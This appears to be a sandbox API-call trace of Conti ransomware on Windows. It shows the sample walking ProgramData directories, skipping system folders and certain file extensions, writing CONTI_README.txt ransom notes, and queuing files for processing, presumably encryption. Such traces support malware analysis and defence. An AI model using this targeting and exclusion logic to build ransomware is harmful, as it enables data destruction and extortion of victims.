	[0098.758] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x4eb4b4ee, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.758] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.758] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.758] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb4b4ee, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4eb4b4ee, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4eb4b4ee, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.758] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.758] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.758] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.758] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.758] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 1
	[0098.758] lstrcmpiW (lpString1="stream.x86.x-none.man.dat", lpString2=".") returned 1
	[0098.758] lstrcmpiW (lpString1="stream.x86.x-none.man.dat", lpString2="..") returned 1
	[0098.758] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.758] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.758] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch=".exe") returned 0x0
	[0098.758] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch=".dll") returned 0x0
	[0098.758] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch=".lnk") returned 0x0
	[0098.758] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch=".sys") returned 0x0
	[0098.758] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch=".CONTI") returned 0x0
	[0098.758] StrStrIW (lpFirst="stream.x86.x-none.man.dat", lpSrch="CONTI_README.txt") returned 0x0
	[0098.758] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned 98
	[0098.758] lstrlenW (lpString="stream.x86.x-none.man.dat") returned 25
	[0098.758] GetProcessHeap () returned 0x1720000
	[0098.758] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xfa) returned 0x17c3a00
	[0098.758] lstrcpyW (in: lpString1=0x17c3a00, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16"
	[0098.758] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\"
	[0098.759] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\", lpString2="stream.x86.x-none.man.dat" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\A6A87302-92AE-41F2-AC52-73F5EE18259F\\x-none.16\\stream.x86.x-none.man.dat"
	[0098.759] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17d5f78) returned 1
	[0098.759] FindNextFileW (in: hFindFile=0x17c8570, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x10ff2492, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x10ff2492, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="stream.x86.x-none.man.dat", cAlternateFileName="STREAM~1.DAT")) returned 0
	[0098.759] GetProcessHeap () returned 0x1720000
	[0098.759] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173baf8 | out: hHeap=0x1720000) returned 1
	[0098.759] FindClose (in: hFindFile=0x17c8570 | out: hFindFile=0x17c8570) returned 1
	[0098.759] GetProcessHeap () returned 0x1720000
	[0098.759] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d07e8 | out: hHeap=0x1720000) returned 1
	[0098.759] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x106db4bf, ftCreationTime.dwHighDateTime=0x1d327ce, ftLastAccessTime.dwLowDateTime=0x66b4e849, ftLastAccessTime.dwHighDateTime=0x1d327ce, ftLastWriteTime.dwLowDateTime=0x66b4e849, ftLastWriteTime.dwHighDateTime=0x1d327ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x-none.16", cAlternateFileName="")) returned 0
	[0098.759] GetProcessHeap () returned 0x1720000
	[0098.759] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c6c78 | out: hHeap=0x1720000) returned 1
	[0098.759] FindClose (in: hFindFile=0x17c84f0 | out: hFindFile=0x17c84f0) returned 1
	[0098.759] GetProcessHeap () returned 0x1720000
	[0098.759] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0098.759] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eaff275, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4eaff275, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4eaff275, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.759] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.759] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.759] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.759] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.759] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eaff275, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4eaff275, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4eaff275, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0098.759] GetProcessHeap () returned 0x1720000
	[0098.759] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740988 | out: hHeap=0x1720000) returned 1
	[0098.759] FindClose (in: hFindFile=0x17c8430 | out: hFindFile=0x17c8430) returned 1
	[0098.759] GetProcessHeap () returned 0x1720000
	[0098.759] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740ce0 | out: hHeap=0x1720000) returned 1
	[0098.759] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x845f41a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="UserData", cAlternateFileName="")) returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2=".") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="..") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="tmp") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="winnt") returned -1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="Application Data") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="AppData") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="temp") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="thumb") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="$Recycle.Bin") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="$RECYCLE.BIN") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="System Volume Information") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="Program Files") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="Program Files (x86)") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="Boot") returned 1
	[0098.760] lstrcmpiW (lpString1="UserData", lpString2="Windows") returned -1
	[0098.760] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun") returned 35
	[0098.760] lstrlenW (lpString="UserData") returned 8
	[0098.760] GetProcessHeap () returned 0x1720000
	[0098.760] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17c0cc8
	[0098.760] lstrcpyW (in: lpString1=0x17c0cc8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.760] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0098.760] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="UserData" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData"
	[0098.760] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData") returned 44
	[0098.760] GetProcessHeap () returned 0x1720000
	[0098.760] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5e) returned 0x17c0850
	[0098.760] lstrcpyW (in: lpString1=0x17c0850, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData"
	[0098.760] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*"
	[0098.760] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData") returned 44
	[0098.760] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.760] GetProcessHeap () returned 0x1720000
	[0098.760] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7c) returned 0x176b8a8
	[0098.760] lstrcpyW (in: lpString1=0x176b8a8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData"
	[0098.760] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\"
	[0098.760] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\CONTI_README.txt"
	[0098.760] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\userdata\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0098.761] GetProcessHeap () returned 0x1720000
	[0098.761] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x176b8a8 | out: hHeap=0x1720000) returned 1
	[0098.761] WriteFile (in: hFile=0x350, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.762] CloseHandle (hObject=0x350) returned 1
	[0098.762] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\UserData\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4eb4b4ee, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7ff0
	[0098.762] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.762] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x845f41a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4eb4b4ee, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.762] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.762] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.762] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb4b4ee, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4eb4b4ee, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4eb4b4ee, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.762] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.762] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.762] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.762] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.762] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb4b4ee, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4eb4b4ee, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4eb4b4ee, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0098.762] GetProcessHeap () returned 0x1720000
	[0098.762] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0850 | out: hHeap=0x1720000) returned 1
	[0098.762] FindClose (in: hFindFile=0x17c7ff0 | out: hFindFile=0x17c7ff0) returned 1
	[0098.762] GetProcessHeap () returned 0x1720000
	[0098.762] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0cc8 | out: hHeap=0x1720000) returned 1
	[0098.762] FindNextFileW (in: hFindFile=0x17c82b0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b87bb60, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2000002, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1
	[0098.762] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2=".") returned 1
	[0098.762] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="..") returned 1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="tmp") returned -1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="winnt") returned -1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="Application Data") returned -1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="AppData") returned -1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="temp") returned -1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="thumb") returned -1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="$Recycle.Bin") returned 1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="$RECYCLE.BIN") returned 1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="System Volume Information") returned -1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="Program Files") returned -1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="Program Files (x86)") returned -1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="Boot") returned -1
	[0098.763] lstrcmpiW (lpString1="{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="Windows") returned -1
	[0098.763] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun") returned 35
	[0098.763] lstrlenW (lpString="{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 38
	[0098.763] GetProcessHeap () returned 0x1720000
	[0098.763] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x96) returned 0x173fd90
	[0098.763] lstrcpyW (in: lpString1=0x173fd90, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun") returned="C:\\ProgramData\\Microsoft\\ClickToRun"
	[0098.763] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\"
	[0098.763] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\", lpString2="{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.763] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.763] GetProcessHeap () returned 0x1720000
	[0098.763] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x9a) returned 0x173ed50
	[0098.763] lstrcpyW (in: lpString1=0x173ed50, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.763] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*"
	[0098.763] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned 74
	[0098.763] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.763] GetProcessHeap () returned 0x1720000
	[0098.763] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb8) returned 0x17c61b0
	[0098.763] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}"
	[0098.763] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\"
	[0098.763] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\CONTI_README.txt"
	[0098.763] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.768] GetProcessHeap () returned 0x1720000
	[0098.768] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c61b0 | out: hHeap=0x1720000) returned 1
	[0098.768] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.769] CloseHandle (hObject=0x37c) returned 1
	[0098.769] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x4eb7386f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c82f0
	[0098.770] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.770] FindNextFileW (in: hFindFile=0x17c82f0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49bee514, ftCreationTime.dwHighDateTime=0x1d32745, ftLastAccessTime.dwLowDateTime=0x3b87bb60, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x4eb7386f, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.771] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.771] lstrcmpiW (lpString1="..", lpString2="..") returned 0
